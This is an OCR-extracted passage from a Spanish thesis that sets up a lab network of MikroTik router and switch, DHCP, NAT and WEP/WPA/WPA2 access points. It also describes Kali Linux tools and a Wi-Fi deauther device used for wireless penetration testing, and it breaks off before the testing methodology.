las redes y sus sistemas informaticos, es por eso que el sistema operativo Kali Linux se
ha ganado el reconocimiento de todos los que manejan sistemas informaticos como una
herramienta atil en la materia, capaz de efectuar pruebas de pentesting y gestionar
auditorias de seguridad, manteniendo un enfoque integral y ofreciendo un entorno

preconfigurado con avanzadas herramientas que permitan un andlisis profundo en
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temas de vulnerabilidades informaticas y de red, convirtiéndolo en el sistema mas
popular hasta la actualidad.

El sistema operativo (OS) es quien certifica el correcto funcionamiento de una
maquina, y aunque cada OS existente tienen la misma funcionalidad siendo capaces de
ejecutar multiples tareas, existen otros que cuentan con herramientas exclusivas para
fines especificos.

El Kali Linux es una distribucién basada en Debian, siendo sostenida por
Offensive Security, disefiada por Devon Kearns y Mati Aharoni; siendo dotado por una
extensa variedad de herramientas que lo convierten en una plataforma sofisticada para
realizar trabajos especificos mediante una GUI como modo de comando.

En lafigura 12, se observa una representacion del sistema operativo Kali Linux,
que resalta su disefio minimalista, orientado a optimizar la experiencia del usuario
durante las auditorias de seguridad y las pruebas de penetracion. Este entorno visual se
complementa con herramientas que permiten realizar tareas complejas de manera

eficiente.

v+ ) AaAp3 |8 C

Figura 12: S.0. Kali Linux

Fuente: Elaborado por autor.
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Con el fin de ejecutar pruebas de pentesting y realizar un anélisis de las
vulnerabilidades en una red inalambrica empresarial, se contd6 como plataforma
principal el Kali Linux debido a las multiples caracteristicas que ya se ha mencionado
anteriormente. Las herramientas por utilizar en el proyecto son:

e Nmap: Escaneo de puertos y exploracion
e Wireshark: Captura el trafico de la red y posterior analisis
e Aircrack-ng: Para la auditoria de redes inaldmbricas y ataques de fuerza bruta.
e Metasploit Framework: Para la utilizacion y analisis de las debilidades.
El uso de Kali Linux es un sistema operativo usado en auditorias de redes que
ayudan a obtener un analisis completo referente a las debilidades que presentan las
distintas redes inalambricas ya sea tanto en la valoracion de protocolos y
autenticacion.

3.4.Hardware para Configuracion y Pruebas en la Red

3.5."MikroTik RB2011UiAS-2HnD-IN" Router ""MikroTik"

Este router de la marca Mikrotik es ideal para el uso en interiores, posee varios
modelos en el mercado y ofrece al usuario una extensa gama de alternativas, inducido
por el sistema operativo avanzado ‘“RouterOS” el cual ofrece la funcion de
enrutamiento dinamico, hostpot, VPN, MPLS, QoS (Avanzado), firewalls, balanceo de
carga y enlace, a su vez, la opcion de monitorear en tiempo real a la red. En la tabla 4
se presenta las especificaciones de este equipo (Figura 13). Ademas, este dispositivo
actia como un nodo central de conexion y enrutamiento en la red, facilitando la

comunicacion entre maltiples dispositivos y proporcionando acceso a Internet.

Figura 13: Router MikroTik RB2011UiAS-2HnD-IN

Fuente: https://mikrotik.com/product/RB2011UiAS-2HND-IN [64]
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Modelo Mikro Tik RB2011UiAS-2HnD-IN
Procesador Atheros AR9344, 600 MHz
Memoria RAM 128 MB
Almacenamiento 128 MB NAND
Puertos ethernet 10 puertos ethernet

2.4 GHz 802.11b/g/n, antena interna y

Wifi
externa
Antenas 2 antenas externas (4dBi)
Potencia de transmision Hasta 30 dBm
Puerto SPF 1 (para mddulos de fibra)
Puerto USB 1 puerto usb (2.0)

8-30V DC, 24V 1.2A (incluye el

Voltaje de entrada )
adaptador de corriente)

Consumo energético Méaximo 12 W
Temperatura operativa -35°C a 65°C
Sistema Operativo RouterOS — nivel 5

Tabla 4. Especificaciones RB2011UiAS-2HnD-IN

Fuente: https://mikrotik.com/product/RB2011UiAS-2HnD-IN [64]

3.5.1.Equipo “MikroTik CRS112-8P-4S-IN Cloud Router Switch”

Este switch de la marca Mikrotik es una opcién muy versatil y robusta que ha
sido disefiada para la gestion de redes avanzada, y varias de sus caracteristicas parece
facilitar tanto la integracion como el uso, un aspecto notable acerca de este equipo es
la capacidad de ofrecer multiples opciones de potencia; especificamente siendo

compatible con deteccién automatica de (802.3af/PoE+) y (PoE pasivo).


https://mikrotik.com/product/RB2011UiAS-2HnD-IN
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Ademas de poseer un enlace ascendente, el switch también tiene cuatro puertos
SFP que proporcionan una conexion de fibra 6ptica y le permiten enlaces de fibra dptica
de hasta 1 Gbps. Por lo tanto, el switch es perfecto para entornos en los que se necesitan
velocidades rapidas y alta confiabilidad, el conmutador integra 12 puertos por
separado, creados para competir con la gestion del trafico de red en mente, lo que
permite una gestion efectiva y flexibilidad para los datos.

Por otro lado, el equipo viene con una fuente de alimentacion integrada y un
conector de CC adicional en la parte posterior compatible con fuentes de 48-57 V' y
otorga una opcion extra para la alimentacion ampliando asi las alternativas de
configuracion energética del sistema.

El switch incluye el sistema operativo RouterOS L5, que ofrece una amplia
gama de capacidades avanzadas, desde enrutamiento y administracion de VLAN hasta
configuracién de QoS, es por eso que el equipo se puede utilizar en condiciones donde
es necesario un control detallado y preciso de los recursos de la red.

Gracias al cumplimiento de las normativas IEEE 802.3af y IEEE 802.3at, este
equipo mikrotik es compatible con diversos dispositivos, lo que garantiza su alto
rendimiento en cualquier red moderna y su resistente disefio permite a las empresas
garantizar la seguridad y la eficiencia dptimas de sus redes al mejorar la estabilidad y
la flexibilidad en los centros corporativos méas concurridos.

En la figura 14 se puede observar la parte frontal del equipo, mientras en la
tabla 5 se presenta las especificaciones técnicas, este dispositivo es fundamental en
redes empresariales gracias a su capacidad para integrar multiples funcionalidades,
como manejar grandes volimenes de dispositivos y trafico. Ademas, es capaz de
centralizar la conectividad y, al mismo tiempo, proporcionar energia a dispositivos
como puntos de acceso, camaras de seguridad, entre otros. Otra de las razones por las
que se eligié este equipo son sus capacidades para gestionar conectividad de alta

velocidad, ofrecer administracion avanzada y funciones de capa 3, las cuales son
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esenciales para garantizar el funcionamiento 6ptimo de una red empresarial bien

estructurada.

| Claud Router switch
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igura 14: Cloud Router Switch CRS112-8P-4S-IN

Fuente: Elaborado por autor

Modelo MikroTik CRS112-8P-4S-IN

8 puertos Gigabit Ethernet (10/100/1000
Mbps) — salida PoE

Puertos Ethernet

Puertos SFP 4 Puertos SFP para fibra dptica
Procesador QCAB8511, 400 MHz
2.8 Gbps (Switching), 16 Gbps
Cabida Ps { ) 9 P
(Forwarding)
Memoria principal 128 MB

18-57 a través de terminales DC
Potencia eléctrica de entrada
48-57 VV mediante PoE-in

Entorno Operativo RouterOS (Nivel 5) y SwitchOS

Temperatura funcional -30°C a +70°C

Tabla 5. Descripciones del CRS112-8P-4S-IN
Fuente: Elaborado por autor

3.5.2. Tarjeta de red “Qualcomn Atheros AR9485”
Una tarjeta de red Wi-Fi o también denominado adaptador inaldmbrico, es un
componente esencial que permite la conexién distintos dispositivos a redes

inalambricas. Estos tipos de adaptadores son claves en la implementacion de redes ya
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sean domésticas o corporativas debido a su versatilidad y capacidad para operar
diversos estandares de red.

Esta tarjeta trabaja bajo el estdndar 802.11 b/g/n, es decir que posee una
capacidad de 150Mbps, ya sea para la transmision de contenido, navegacion y lo mas
importante, tener conexidn con redes que trabajen bajo la frecuencia de 2.4 GHz.

Este estdndar no solo proporciona velocidades mas rapidas, sino también una
mayor eficiencia en la transmision de datos, lo que lo convierte en la opcion preferida
en la mayoria de las redes actuales. Para facilitar mas detalles sobre el modelo, se

presenta la tabla 6 con las especificaciones correspondientes.

Velocidad Maxima Hasta los 150 Mbps
Modulacion MIMO 1x1
Banda 2.4 GHz

Seguridad WEP, WPA, WPA2

o Windows, Linux, otros sistemas
Compatibilidad

Operativos
Alcance en interiores 40m — 50m
Alcance en exteriores 90m - 100m
Wi- Fi Direct/Hotspot Solo conexiones ad-hoc y Wi-Fi Direct

Tabla 6. Especificaciones de la Tarjeta de red Qualcomn Atheros AR9485
Fuente: Elaborado por autor

3.5.3.Aursinc wifi Deauther
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Para la realizacion de los ataques en la red de prueba, se utiliza el equipo
DSTIKE Deauther Watch que se muestra en la figura 15, este es un dispositivo que se
especializa en multiples pruebas de pentesting relacionas con las redes WiFi,
facilitando la ejecucion de una evaluacion critica que ayuda a determinar el grado de
seguridad de las redes en términos de fortaleza ante distintos tipos de amenazas que
podrian comprometer la infraestructura de la red, el objetivo principal por la cual se
utiliza este equipo es para fortalecer la seguridad de las redes inalambricas, su
construccion consta de un microcontrolador como nucleo conocido como ESP8266,

este microcontrolador es ideal para cargar firmware orientado a pruebas de penetracion.
=

D&B WATCH

| I
|

Figura 15: Reloj “Aursinc wi-fi Deauther”
Fuente: Elaborado por autor

Este equipo esté disefiado con una antena externa, lo que optimiza la potencia
y el rango de la sefial Wi-Fi, permitiendo una captura de datos més eficiente y precisa
desde redes mas alejadas, de tal manera que presenta mejoras en la cobertura 'y en la
potencia lo que le convierte en una herramienta ideal para pruebas que requieren
alcanzar dispositivos y redes ubicadas a mayores distancias, asegurando la efectividad

de los andlisis de seguridad.
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En la tabla 7, se presentan con mayor detalle las especificaciones técnicas del
dispositivo, lo que proporciona una comprension mas completa de sus capacidades y

funcionalidades.

Microcontrolador ESP8266

Pantalla OLED de 1.3in

Conectividad Wi -Fi 2.4 GHz (802.11 b/g/n)

Alcance Wi-Fi 100m
Voltaje de entrada 5V DC
. Bateria de litio de 18 mm de didmetro y 65mm de
Bateria A i - :
longitud o alimentacion por puerto micro USB.

Tabla 7. Especificaciones del dispositivo “Aursinc Wi-Fi deauther”
Fuente: Elaborado por autor

En la figura 16 se evidencia los distintos tipos de escaneos que posee el equipo
“Aursinc WiFi Deauther”, en su interfaz de usuario muestra el area en donde existen
AP’s (Puntos de Acceso) y ST (Estaciones) siempre y cuando se encuentren en la banda

de 2.4GHz y permitiendo ejecutar distintos ataques.
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ScanAPs

Realiza un
escaneo general en
la banda de
2.4GHz. (AP,
Estaciones)

" Escanea solo los | Escaneo de

' AP disponiblesy | estaciones que se
. que se encuentren | encuentren dentro
.dentro del alcance. del rango

Figura 16: Tipos de escaneo

Fuente: Elaborada por autor

Scan AP+ST (Escaneo general de APs y estaciones): El escaneo se realiza en
todo el espectro, mostrando aquellas redes que sean visibles, de igual manera las que
se encuentren ocultas, siempre y cuando se encuentren dentro del alcance de este
dispositivo, de tal forma que al realizar pruebas de penetracién ayuda a examinar
conexiones y buscar dispositivos no autorizados en la red e identificar amenazas
potenciales y patrones de trafico inusuales.

Escaneo de AP’s (Puntos de Acceso): Al configurar este modo, el equipo se
centra en detectar solo los AP’s que se encuentren en su rango sin tomar en cuenta a
las estaciones, esta accion permite identificar a los AP junto con sus caracteristicas
importantes, tales como el SSID, el tipo de seguridad que posee, la intensidad de la
sefial, el canal de transmision en el que se encuentra, su utilidad en la materia permite
el analisis espectral y la evaluacion de la asignacion de los canales en las redes
saturadas, también sirve para identificar AP no autorizados que podrian comprometer
a la seguridad informatica.
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Escaneo de Estaciones Conectadas: Esta configuracién se centra en el
minucioso escaneo de las estaciones o dispositivos dentro del alcance del reloj, analiza
a los dispositivos finales que estén conectados o queriendo conectarse a los AP’s del
entorno, la utilidad de este modo es identificar a usuarios especificos y observar como
se comportan en la red, esto permite encontrar dispositivos con actitudes sospechosas
como el intentar conectarse a la red de manera repetitiva sin éxito, también permite el
monitoreo del trafico de estaciones en especifico, con esto es probable determinar
patrones que indiquen acciones inusuales en dispositivos y considerarlos una amenaza.

Los 3 tipos de escaneos que posee este equipo de pentesting permite una mayor
flexibilidad para los profesionales a la hora de realizar pruebas en lared, permitiéndoles
adaptarse a multiples entornos y crear estrategias para proteger la seguridad de la red,
al hacer uso de un escaneo general seguido por un escaneo especifico a los AP’s en
cuestion, permitirdA monitorizar de manera escalable y muy precisa a la red,
incrementando la eficacia en las auditorias realizadas por el profesional.

El dispositivo es considerada una herramienta de alto calibre ya que su uso
inadecuado puede comprometer la privacidad e integridad de la red y por consiguiente
a sus usuarios, es por eso que debe usarse con responsabilidad y en entornos
controlados, cumpliendo con las leyes y normativas aplicables que se encuentren bajo
la legalidad, ademas la interpretacion de los resultados de cada escaneo podria
contribuir al desarrollo de futuras politicas de ciberseguridad y endureciendo la
proteccion en las infraestructuras de las redes.

3.6.Desarrollo de la propuesta tecnoldgica

Para la presente implementacion de infraestructura de red robusta y segura, se
constituye uno de los pilares fundamentales para llevar a cabo la evaluacion de la
efectividad en los protocolos de autenticacion y cifrado conforme a la normativa IEEE
802.11 b/g/n. En vista de garantizar las pruebas de penetracion y analisis de
vulnerabilidades sean desarrolladas en un entorno controlado, se ha disefiado una red
basada en una topologia estrella ampliamente reconocida por su eficiencia en la
organizacion de los dispositivos de red y la capacidad que posee para proporcionar un

punto centralizado de gestion y trafico de red.
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La estructura de la red fue segmentada a fin de aislar distintos grupos de
dispositivos, asegurando de esta manera el nivel de seguridad y control de trafico, en
esta segmentacion se permite una separacion entre las distintas areas que posee la red.
El switch central que actia como ndcleo en la topologia antes mencionada, facilita la
conectividad hacia otros switches y dispositivos, mejorando significativamente el
rendimiento de la red y reduciendo el riesgo de las colisiones de datos que ayudan en
la distribucion del ancho de banda.

La estructura de la red fue disefiada teniendo en cuenta las diferentes politicas
de seguridad, priorizando que la red tenga un trafico accesible tanto en la entrada como
en la salida.

Adicionalmente, se configuraron mecanismos de control de acceso a la red,
tanto en los switches como en el router, de tal manera que solo los dispositivos
autorizados puedan participar en la comunicacién de la red, este enfoque es relevante
ya que permite la simulacion de ataques de penetracion y de igual manera el anélisis
de vulnerabilidades sin comprometer la integridad general de la red. La adopcién de
esta arquitectura de red y la respectiva configuracion no solo proporciona un entorno
seguro y eficiente, sino que también refleja las necesidades reales de redes
empresariales en cuanto a la seguridad, escalabilidad y rendimiento.

Configuraciones del router

En primer lugar, se debe tener instalado el programa winbox, para la
configuracién de los equipos, en la figura 17 se muestra la interfaz de winbox, en donde

se observa la lista de los dispositivos, en este caso el MikroTik conectado. Una vez
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verificado esto, se procede a realizar el restablecimiento de fabrica, ya que esto asegura

que el equipo esté libre de configuraciones previas.

‘b WinBox (64bit) v3.40 (Addresses) — O
File Tools
Connect To: | 192.168.88.1 v Keep Passw
Login: | admin| Open In New
Password: v| Auto Reconr
AddfSet Connect To RoMOMN
Managed Neighbors
¥ | | Refresh all
MAC Address IP Address Identity Wersion Board Uptime
74:4D:28:5E:B9:47 192.168.88.1 MikroTik 7.10.2 (sta... RB20TTUIAS-2HnD 00:15:31

Figura 17: Acceso y reconocimiento del router MikroTik
Fuente: Elaborado por autor
Una vez que el router se encuentre en valores de fabrica, se asigna la interfaz

WAN al puerto 1 ya que esta se conectara directamente al proveedor de internet, como

se muestra en la figura 18, y a su vez se le agrega la direccion ip.

- wanl
R @ WAN Ethernet 1500 1538
S @ ether? Ethernet 1500 1598
S @ ether3 Ethernet 1500 1538
S @ etherd Ethernet 1500 1598

Figura 18: Cambio de nombre del puerto Etherl

Fuente: Elaborado por autor.
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Luego se agregan dos bridges con nombre “LAN” y “LAN2”, en donde se
agregan los puertos para ambas bridge, como se muestra en la figura 19.

poige

Bridge Forts | PortExtensions  VLANs MSTIls PortMST Overrides Filters MAT Hosts MDB

+][=l[<]=][a][v]

# ‘ |Im.erface |Bridge ‘Horizon |Trusted |Pri0nty(h.. |Path Cost |PVID |ROIe RootPa
0H & ethert LAM no 80 10 1 disabled port
1H & ether? LAN no B0 10 1 disabled port
2H & ether8 LAN no 80 10 1 disabled port
3H & otherd LAN no 80 10 1 disabled port
4 1H 8 etherl LAN no 30 10 1 disabled port
51H & ether? LANZ no 80 10 10 disabled port
6 IH & ether3 LAN2 no a0 10 10 disabled port
7H & etherd LAN2 no a0 10 20 disabled port
&MH & ethers LAN2 no a0 10 20 disabled port

Figura 19: Asignacién de puertos a las Bridge's
Fuente: Elaborado por autor.

En la figura 20 se muestra el direccionamiento ip para el puerto WAN

Address List [m] B3
=] ()12 (D] [T

________ -Address / -Network Interface |-
%7 192.168.23.25/24 192.168.23.0 WAN |

Figura 20: Direccionamiento IP del puerto WAN
Fuente: Elaborado por autor

Se activa el servidor dhcp para la red LAN, como se muestra la figura 21.

DHCP | Networks Leases Options OptionSets Option Matcher Alerts

+ ]| |'Y| | DHCP Config | DHCP Setup
V zName ] :Interface Relay :Lease Time jAddress Pool |AddAR..
| dhep! LAN 00:10:00 dhep_pool0  no

Figura 21: Servidor DHCP para la LAN

Fuente: Elaborado por autor
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Para tener acceso a internet se establece una regla de nateo como se muestra en

la figura 22.

New NAT Rule =B
General ‘ Advanced Extra Action OK
Chain: |srcnat \i‘ Cancel New NAT Rule
Src. Address: hd Apply Ad d Exid Action |Statistics | o
Dst. Address: - Disable
Src. Address List: - Comment Action: accept H ¥ Cancel
Copy add dst to address list pply
- R add src to address list
Protocol: - ‘emove Log Prefix: dstnat Disable
Src. Port: Reset Counters i
reren - Jump Comment
Dst. Port: - Reset All Counters.
i masquerade Copy
ypor v sk
e passihough
Out interface: [ | (WAN | ¥ & :g:‘:ﬁld Reset Counters
In. Interface List: I:l - Samet Reset All Counters
SIC-na
Out. Interface List: I:l -
T
comnectonType: [ =

Figura 22: Establecimiento del nateo.
Fuente: Elaborado por autor

Se agrega finalmente la ruta para que la red local conozca al Gateway, dicha

configuracion se la observa en la siguiente figura 23.

Route <0.0.0.0/0->192.168.23 1> ]
General | Status  MPLS
Dst Address: [0.00.0/0 | Cancel
Gateway: [192.168.23.1 | Apply
Immediate Gateway: 192 168.23 1%WAN
Local Address: | |
Check Gateway: | | i Copy
| | Suppress Hw Offioad
Distance: |1 | -
Scope: |3{] | -
TargetScope: |1{]' | -
VRF Interface: | | »
Routing Table: |main " ¥ |
Pref. Source: | | -
[ Blackhole

Figura 23: Configuracion del Gateway

Fuente: Elaborado por autor
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Una vez ingresado al switch, se configura el puerto ethernet 1, ya que este

establecera conexion con el router, tal como se muestra en la figura 24.

@ admin@CC:20:EMBFFE:B3 (MikroTik) - WinBox (64bit) v6.42.10 on CR5112-8P-45 (mipske)

Session  Settings Dashboard

|| a4 | Safe Mode

A Quick Set
L CAPsMAN
|8 Interfaces
1 Wireless
@ Dridge

=g PPP

= Switch ¥
S8 Mesh
25 |p

v&] |Pv6
7 MPLS
42 Routing
%2 System

Q Cueues
Figura 24

- 7 = 7

Seasion:|CC:2D:E0:8F:FE:B3

Mame
;i Conect to RB2011

R 41 etherl

R 41 ether?
41 etherd
4} etherd
4 etherh
4% etherb
4} ether?
4% etherl
44 5fpS

Interface | Inteface List Fthemet EolP Tunnel | IP Tunnel  GRE Tunnel  VLAN VRF
L « %8| 0 T | Detect Intemet

Type Actual MTU |2 MTU |Tx
Fthemet 1500 1588 15
Ethemet 1500 1588

Commenrt for Interface <etherls=

onect to RB2011

oK

TIroTT et Tooo oo

: Configuracion del puerto para conexion con el router

Fuente: Elaborado por autor

Para la asignacion de direcciones IP en el switch principal MikroTik CRS112-

8P-4S, se configuraron diferentes direcciones IP en el puerto Ethernet 1 y en los

puentes. Estas configuraciones ya que permiten una segmentacién adecuada de la red,

facilitando el control del trafico y mejorando la gestién de los dispositivos conectados.

Ademas de permitir que el router gestione correctamente las consultas DNS de

la red local y de su propia conexion a Internet, la configuracion que se muestra en la

Figura 25 es crucial para garantizar una resolucion de nombres de dominio rapida y

eficaz.
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‘ EUILR IS
1 CAPsMAN DNS Settings
| Interfaces

Servers: 192.168.1.1

1 Wireless |3_3_3_3 | * Cancel
gg e Dynamic Servers: | |
=3 PPP ' Apply
5 Switch P Allow Remate Requests IE
©15 Mesh ARP Max UDP Packet Size: [4095 |
5 Ip [~ Accounting Eade
5 IPv6 I Addresses Query Server Timeout: |2.DD|] |5
<7 MPLS - Cloud Query Total Timeout: [10.000 |s

i DHCP Client

42 Routing :: e H\Iel Max. Concurment Queries: | 100 |

o5 System ay
g Q)’St DHCP Server Max. Concurent TCP Sessions: |20 |

LeUes

[ Files DNS Cache Size: 2048 | kiB

|-J Log = Cache Max TTL: [7d 00:00:00 |

i

Figura 25: Configuracion del DNS

Fuente: Elaborado por autor

Esta es una configuracion se realiza para conectarse a una red interna y necesita
dirigir el tréfico a un gateway para acceder a redes externas o a internet, de tal forma
que esta configuracién permite una administracion eficiente del trafico de red y asegura
que el trafico a internet o redes externas se dirija correctamente mediante el gateway

configurado, como se muestra en la figura 26.

Route <0.0.0.0/0=
General | Attributes
Dst. Address: [0.0.0.0/0 |
Gateway: [192.168.1.1 | #] [reachable ether1 s oply
Check Gateway: | | = | Disable |
Type: |unicast |#]
Distance: |1 | - Copy
Scope: [30 | | Hemoue |
Target Scope: |1D |
Routing Mark: | | -
Pref. Source: | | -
enabled | |acti\re

Figura 26: Configuracion del Gateway

Fuente: Elaborado por autor
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Finalmente, se comprueba la conexion en el terminal haciendo ping a Google
como se observa en la figura 27. Se permiten que las redes locales puedan navegar

aplicando firewall y creando una NAT.

1 CAPsMAN RoutdRELERS BY
| Interfaces + MikroTik Router03 6.42.10 (c) 1995%-201% http://fwww.mikrotik. com/ -+
£+ Wireless [?] Gives the list of available commands
;E Bridge A5 command [?] Gives help on the command and list of arguments
=5 PPP DAC
=2 Switch r |Dac [Tak] Completes the command/word. IL the input is ambiguous,
— DAC a second [Tabk] gives possible options
“1a Mesh
258 |P I~ ! Move up to base lewel
il [Pv6 P .. Move up ones level
= /S command Use command at the base level
7 MPLS 2
& Routing [ SIZE TTL TIME STATUS
56 117 24ms
i3 System > 56 117 23ms
& Queues 56 117 23ms
|| Files 56 117 23ms
log 56 117 23ms
L) 56 117 23ms
AL Radius 56 117 23ms
>€T00|5 3 sen eceived packet-1los3=0% min-rtt=23ms avg-rtt=23ms
|| New Terminal
=4 MetaROUTER [admin@MikroTik] > -
==l e n

Figura 27: Verificacion de conexion
Fuente: Elaborado por autor

Agregando a esta distribucion, también se realizo la configuracion de una regla
NAT (Network Address Translation) en el firewall para permitir que las redes locales
puedan acceder a internet a través de la activacion masquerade que se establece en la
regla NAT.

La opcion srcnat (source NAT) esta selecta en la opcion de Chain o Cadena, el
cual es conocido ya que ejecuta la transcripcion de la direccion IP de origen, es decir,
cuando un paquete brota de la red local hacia una red externa ya sea como Internet,
entre otras, la direccion IP de origen del paquete se cambiara, logrando de esta manera
que coincida con la IP publica del dispositivo o del router.

En el campo Out. Interface (Interfaz de Salida), se ha especificado la interfaz
etherl, que indica que todos los paquetes que salgan a través de esta interfaz deben

someterse a la regla de NAT. La figura 28 muestra la interfaz conectada a Internet o a
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una red externa, permitiendo asi que los paquetes se transformen antes de salir al

exterior.
Fuente: Elaborado por autor
@ admin@CC:2D:E0:8F:FE:B3 (MikrcTik) - WinBox (64bit) v6.42.10 on CRS112-8P-4S (m... — (] x
Session Settings Dashboard
| Safe Mode Session: |CC:2D:E0:8F:FE:B3 ]
Aa Quick Set New NAT Rule
=L CAcHAN Fiter Rules  NAT General | Advanced Extra Action ...
@8 Interfaces + MNAT Rule <>
= - Chain: |srcnat ¥
1 Wireless . - * Advanced Extra Action | Statistics
1 Bridge i Action Src. Address: -
EF: PPP Dst. Address- - Action: |\ masguerade ¥ i ]
== Switch Log
“13 Mesh Eminca; o Log Prefix: i
S5 Port -
253l IP ARP To Ports: 5 __[:"‘"""'"e""t
MPLS Addresses Any. Port -
#& Routing Cloud In. Interface: - s
\ -
% System DHCP Client Out. Interface: ether1 v -
] Files DHCP Server . Interface List: -
| Log DNS . Interface List: -
S Radius Firewall
Packet Mark: -
2 Tools Hotspot
[ New Teminal IPsec innection Mark: -
=4 MetaROUTER Kid Control Routing Mark: -
B Windows Neighbors >
More f Packing bled enabled

Figura 28: Configuracion NAT

El “Masquerade”, se configuro en la red, de tal manera que esta opcion ofrece
cambiar agilmente la direccion IP en el que se encuentra los paquetes que salen de la
red por la direccion IP pablica de la interfaz prominente, de tal forma que al enmascarar
las IP privadas internas, los hosts accedan a internet haciendo uso de la IP publica.

Esta configuracion se la realiz6 para permitir que los dispositivos en la red local
puedan navegar por Internet. Sin NAT, las direcciones IP privadas de la red local no
serian reconocidas en redes externas, como Internet. Ademas, el uso de masquerade
afiade un nivel de seguridad y privacidad, ya que las direcciones IP privadas de los
dispositivos internos no son visibles en Internet y todos los dispositivos parecen estar
utilizando la IP pablica del switch o router. Esto no solo mejora la privacidad, sino que
también permite un mayor control sobre el trafico saliente.

De igual manera, al configurar reglas en el firewall, se puede controlar y
restringir el trafico entrante y saliente, protegiendo la red interna de accesos no

autorizados y optimizando el uso de los recursos de red. Esta configuracion es comudn
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en redes empresariales y domésticas, ya que facilita la conexion a Internet, proporciona
una capa de seguridad adicional y permite el control del tréfico de red mediante
politicas de firewall.

Para verificar la conexién de los dispositivos se realizé un ping desde una PC,

como se muestra en la siguiente figura 29.

Paquetes: enviados = 4, recibidos = 4, perdidos = @
(8% perdidos),

Tiempos aproximados de 1da y vuelta en milisegundos:
Minimo = 48ms, Maximo = 799ms, Media = 3@5ms

Figura 29: Verificacion de conexion
Fuente: Elaborado por autor

Configuracién de los distintos tipos de cifrado en cada punto de acceso.

Configuracién AP1 WEP

En la interfaz de configuracion del punto de acceso, el SSID del dispositivo se
ha definido como "Root AP - D-Administraciéon”, tal como se muestra en la figura 30.

Este SSID muestra que el dispositivo sirve como punto de acceso raiz del
departamento administrativo y para el cifrado de la red se eligi6 el protocolo WEP
(Wired Equivalent Privacy), una técnica de cifrado sencilla que ofrece a las redes
inaldmbricas un grado minimo de seguridad; se eligié WEP para evaluar las debilidades
intrinsecas de este protocolo, que siguen presentes en redes antiguas o anticuadas a
pesar de su escasa seguridad, lo que lo convierte en un componente pertinente para el

analisis de riesgos en este estudio.
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Este SSID muestra que el dispositivo sirve como punto de acceso raiz del
departamento administrativo y para el cifrado de la red se eligié el protocolo WEP
(Wired Equivalent Privacy), una técnica de cifrado sencilla que ofrece a las redes
inalambricas un grado minimo de seguridad; se eligié WEP para evaluar las debilidades
intrinsecas de este protocolo, que siguen presentes en redes antiguas o anticuadas a
pesar de su escasa seguridad, lo que lo convierte en un componente pertinente para el

analisis de riesgos en este estudio.

SSID Tipo: Root AP - D-Administracion J
Cifrado: | WEP

B802.1x Authentication:

Autentificacion: Red abierts '@/ Clave compartida Auto
Longitud de clave: 64-bit

Formato de la clave ASCII (5 caracteres)

Clave de cifrado [ ----- { ]

Figura 30: Cifrado WEP

Fuente: Elaborado por autor

La configuracion referente a la autenticacion se baso en el método de clave
compartida, en el que al momento que los usuarios quieran ingresar a la red ingresen
la clave de acceso establecido, por otro lado, se selecciond una longitud de clave de 64
bits.

Como se ve en la Figura 30, se eligié ASCII (5 caracteres) como formato de
clave, limitando la clave a un formato alfanumérico de cinco caracteres, ademas de
restringir la duracion, esta configuracion hace que la clave sea menos dificil, lo que
pone aun mas en peligro la seguridad de la red y ofrece un ejemplo real de la facilidad
con la que una red puede verse comprometida solo con las configuraciones de
seguridad mas basicas.

Configuracion del “AP2” WPA
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La Figura 31 presenta las configuraciones del segundo punto de acceso
inalambrico (AP), que incluye una serie de caracteristicas relacionadas con la seguridad
y la autenticacion de la red. En primer lugar, el SSID «RED_USR» se ha configurado
como «Root AP - RED_USR», lo que sugiere que este punto de acceso es el punto de

acceso principal de la red y sirve de base para la transmision de la sefial inalambrica.

SSID Tipo: Root AP - RED_USR - |
Cifrado: [WPA-PSK -
Modo de Autentificacion: Enterprise (RADIUS) @ personal (Clave precompartida)

Formato de clave

. r f .
precompartida: o m I

Clave precompartida: @ | sessessscenns

Figura 31: Cifrado WPA
Fuente: Elaborado por autor

Esta configuracion es comdn en redes de pequefias empresas 0 entornos
domeésticos donde un Gnico AP administra el acceso de los dispositivos conectados.

En cuanto a la seguridad, se ha seleccionado el cifrado WPA-PSK (Wi-Fi
Protected Access con clave precompartida), que es un método de proteccion que
requiere una contrasefia compartida para autenticar a los usuarios en la red.

El formato de clave precompartida estd definido como contrasefia, indicando
que la clave que se utiliza para acceder a la red es una contrasefia de texto, lo que facilita
su ingreso para los usuarios, de tal modo que este formato suele ser mas intuitivo y
manejable que otros, como el formato hexadecimal, especialmente en entornos donde
los usuarios no tienen conocimientos técnicos avanzados. En el campo de Clave
precompartida se introduce la contrasefia que deberan ingresar los usuarios al intentar
conectarse.

Configuracion AP2 WPA2
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La configuracion de este punto de acceso (AP) que muestra la figura 32,
presenta una serie de pardmetros orientados a definir la seguridad y autenticacion de la
red inalambrica. En primer lugar, el SSID Tipo esta configurado como "Root AP -
RED_USR2", lo cual indica que este AP es el principal de la red, conocido como el AP
raiz y con esta configuracion se podrén identificar a los dispositivos conectados dentro
de lared “RED_USR”.

SSID Tipo Root AP - RED_USR2 |

Cifrado: [WPA/WPA2 mixed (TKIP+AES) - |

Modo de Autentificacién Enterprise (RADIUS) '®’ Personal (Clave precompartida)

Formato de clave l
precompartida ——

Clave precompartida: | seesesessenee

| Aplicar |
Figura 32: Cifrado WPA2

Fuente: Elaborado por autor

Se ha elegido la opcion mixta WPA/WPA2 (TKIP+AES) para la seguridad del
cifrado; como resultado, la red es compatible tanto con WPA como con WPAZ2, dos
protocolos de seguridad que se utilizan con frecuencia en redes inaldmbricas y el AP
es compatible tanto con dispositivos modernos que pueden utilizar WPA2 (que utiliza
cifrado AES) como con dispositivos méas antiguos que sélo admiten WPA (que utiliza
cifrado TKIP) utilizando este modo mixto. Esta configuracién ofrece flexibilidad y
permite conectar a la red una amplia gama de dispositivos, independientemente de su
antigiiedad o compatibilidad de seguridad; hay que recordar que, aunque TKIP ofrece
seguridad, no es tan fuerte como AES, que es ahora el estandar recomendado por su
mayor grado de resistencia a los ataques a diferencia del modo Empresa (RADIUS),
que requiere un servidor de autenticacion externo, se utiliza la opcion de autenticacion
Personal (clave pre-compartida). El modo “Personal” es mas adecuado para redes
pequefias, incluidas las domésticas o pequefias oficinas, donde no se requiere una
infraestructura de autenticacion centralizada, ya que emplea una clave pre-compartida

(PSK) que los usuarios deben proporcionar manualmente.
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Dado que la clave pre-compartida esta en formato de contrasefia, los usuarios
pueden proporcionar una simple frase de contrasefia en lugar de una complicada cadena
hexadecimal. Esta clave es la que los usuarios deben introducir para poder acceder a la
red, funcionando como una barrera de proteccion bésica para evitar accesos no
autorizados

3.6.1.Metodologia de pruebas de penetracion

